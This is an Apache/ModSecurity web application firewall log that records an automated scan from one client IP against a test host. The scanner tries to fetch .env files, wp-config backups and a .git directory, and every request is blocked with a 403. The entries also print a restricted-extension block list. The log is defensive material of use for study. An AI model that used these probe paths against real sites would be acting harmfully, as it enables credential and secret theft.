[Thu Jul 10 08:35:54.993565 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.old.old&quot;] [unique_id &quot;aG9fSrwmNPsrpCjDVcoW_QAAAAU&quot;]
[Thu Jul 10 08:35:54.993771 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;wp-config.old&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.old found within REQUEST_FILENAME: /wp-config.old.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.old.old&quot;] [unique_id &quot;aG9fSrwmNPsrpCjDVcoW_QAAAAU&quot;]
[Thu Jul 10 08:35:54.994018 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.old.old&quot;] [unique_id &quot;aG9fSrwmNPsrpCjDVcoW_QAAAAU&quot;]
[Thu Jul 10 08:35:54.994234 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.old.old&quot;] [unique_id &quot;aG9fSrwmNPsrpCjDVcoW_QAAAAU&quot;]
[Thu Jul 10 08:35:55.063205 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/shared/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/shared/.env&quot;] [unique_id &quot;aG9fS7wmNPsrpCjDVcoW_gAAAAU&quot;]
[Thu Jul 10 08:35:55.063455 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/shared/.env&quot;] [unique_id &quot;aG9fS7wmNPsrpCjDVcoW_gAAAAU&quot;]
[Thu Jul 10 08:35:55.063674 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/shared/.env&quot;] [unique_id &quot;aG9fS7wmNPsrpCjDVcoW_gAAAAU&quot;]
[Thu Jul 10 08:35:55.108218 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /demo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/demo/.env&quot;] [unique_id &quot;aG9fS7wmNPsrpCjDVcoW_wAAAAU&quot;]
[Thu Jul 10 08:35:55.108599 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/demo/.env&quot;] [unique_id &quot;aG9fS7wmNPsrpCjDVcoW_wAAAAU&quot;]
[Thu Jul 10 08:35:55.108877 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/demo/.env&quot;] [unique_id &quot;aG9fS7wmNPsrpCjDVcoW_wAAAAU&quot;]
[Thu Jul 10 08:35:55.149485 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/bdd/fixtures/did-rest/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/did-rest/.env&quot;] [unique_id &quot;aG9fS7wmNPsrpCjDVcoXAAAAAAU&quot;]
[Thu Jul 10 08:35:55.149743 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/did-rest/.env&quot;] [unique_id &quot;aG9fS7wmNPsrpCjDVcoXAAAAAAU&quot;]
[Thu Jul 10 08:35:55.149955 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/did-rest/.env&quot;] [unique_id &quot;aG9fS7wmNPsrpCjDVcoXAAAAAAU&quot;]
[Thu Jul 10 08:35:55.177394 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /cronlab/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cronlab/.env&quot;] [unique_id &quot;aG9fS7wmNPsrpCjDVcoXAQAAAAU&quot;]
[Thu Jul 10 08:35:55.177696 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cronlab/.env&quot;] [unique_id &quot;aG9fS7wmNPsrpCjDVcoXAQAAAAU&quot;]
[Thu Jul 10 08:35:55.177931 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cronlab/.env&quot;] [unique_id &quot;aG9fS7wmNPsrpCjDVcoXAQAAAAU&quot;]
[Thu Jul 10 08:35:55.221304 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.smtp&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.smtp&quot;] [unique_id &quot;aG9fS7wmNPsrpCjDVcoXAgAAAAU&quot;]
[Thu Jul 10 08:35:55.221548 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.smtp&quot;] [unique_id &quot;aG9fS7wmNPsrpCjDVcoXAgAAAAU&quot;]
[Thu Jul 10 08:35:55.221743 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.smtp&quot;] [unique_id &quot;aG9fS7wmNPsrpCjDVcoXAgAAAAU&quot;]
[Thu Jul 10 08:35:55.426959 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.envs&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.envs&quot;] [unique_id &quot;aG9fS7wmNPsrpCjDVcoXBQAAAAU&quot;]
[Thu Jul 10 08:35:55.427204 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.envs&quot;] [unique_id &quot;aG9fS7wmNPsrpCjDVcoXBQAAAAU&quot;]
[Thu Jul 10 08:35:55.427424 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.envs&quot;] [unique_id &quot;aG9fS7wmNPsrpCjDVcoXBQAAAAU&quot;]
[Thu Jul 10 08:35:55.481090 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /site/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env&quot;] [unique_id &quot;aG9fS7wmNPsrpCjDVcoXBwAAAAU&quot;]
[Thu Jul 10 08:35:55.481335 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env&quot;] [unique_id &quot;aG9fS7wmNPsrpCjDVcoXBwAAAAU&quot;]
[Thu Jul 10 08:35:55.481527 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env&quot;] [unique_id &quot;aG9fS7wmNPsrpCjDVcoXBwAAAAU&quot;]
[Thu Jul 10 08:35:55.531152 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/refs/tags/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/tags/&quot;] [unique_id &quot;aG9fS7wmNPsrpCjDVcoXCQAAAAU&quot;]
[Thu Jul 10 08:35:55.531410 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/tags/&quot;] [unique_id &quot;aG9fS7wmNPsrpCjDVcoXCQAAAAU&quot;]
[Thu Jul 10 08:35:55.531608 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/tags/&quot;] [unique_id &quot;aG9fS7wmNPsrpCjDVcoXCQAAAAU&quot;]
[Thu Jul 10 08:35:55.555384 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.csproj&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.csproj&quot;] [unique_id &quot;aG9fS7wmNPsrpCjDVcoXCgAAAAU&quot;]
[Thu Jul 10 08:35:55.555547 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.csproj&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.csproj&quot;] [unique_id &quot;aG9fS7wmNPsrpCjDVcoXCgAAAAU&quot;]
[Thu Jul 10 08:35:55.555787 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.csproj&quot;] [unique_id &quot;aG9fS7wmNPsrpCjDVcoXCgAAAAU&quot;]
